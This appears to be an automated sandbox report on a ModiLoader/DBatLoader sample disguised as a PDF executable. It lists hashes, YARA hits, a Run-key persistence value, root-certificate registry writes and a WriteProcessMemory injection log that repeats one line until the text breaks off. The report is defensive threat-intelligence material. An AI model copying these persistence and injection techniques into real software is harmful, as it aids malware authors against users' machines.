Analysis
- max time kernel
146s - max time network
150s - platform
windows7_x64 - resource
win7v200722 - submitted
14/10/2020, 17:21
Static task
static1
Behavioral task
behavioral1
Sample
OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe
Resource
win7v200722
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe
Resource
win10
windows10_x64
0 signatures
0 seconds
General
- Target OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe
- Size 1.0MB
- Sample201014-h38fh5xhes
- SHA256 e7def582e6c764fb35cad598da8b83da969897d37241402df8c8bac2b870432f
- MD5 30fd4a13202b81061093494a8c68ea9b
- SHA1 ce9b8b6922c0ae31841a24ca3ef611d3c0e8a171
- SHA512 8f21190609bf4a04f84bdc453345f6922eb9afa84a8535a6b676aaf29e10b23d0152c83399e5f7dfb2fb031439e8e87919aa68c30b4e977649b5e7a1ef34ce3d
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
- ModiLoader First Stage 1 IoCs
resource yara_rule behavioral1/memory/388-0-0x0000000002EE0000-0x0000000002F1A000-memory.dmp modiloader_stage1 - ModiLoader Second Stage 1 IoCs
resource yara_rule behavioral1/memory/388-2-0x0000000004740000-0x0000000004796000-memory.dmp modiloader_stage2 - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Windows\CurrentVersion\Run\Khaw = "C:\\Users\\Admin\\AppData\\Local\\wahK.url" OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe - Modifies registry key 1 TTPs 3 IoCs
pid Process 1008 reg.exe 1756 reg.exe 1568 reg.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe - Suspicious use of WriteProcessMemory 521 IoCs
description pid Process procid_target PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 30 PID 388 wrote to memory of 660 388 OC CVE6535 _TVOP-MIO 10(C) 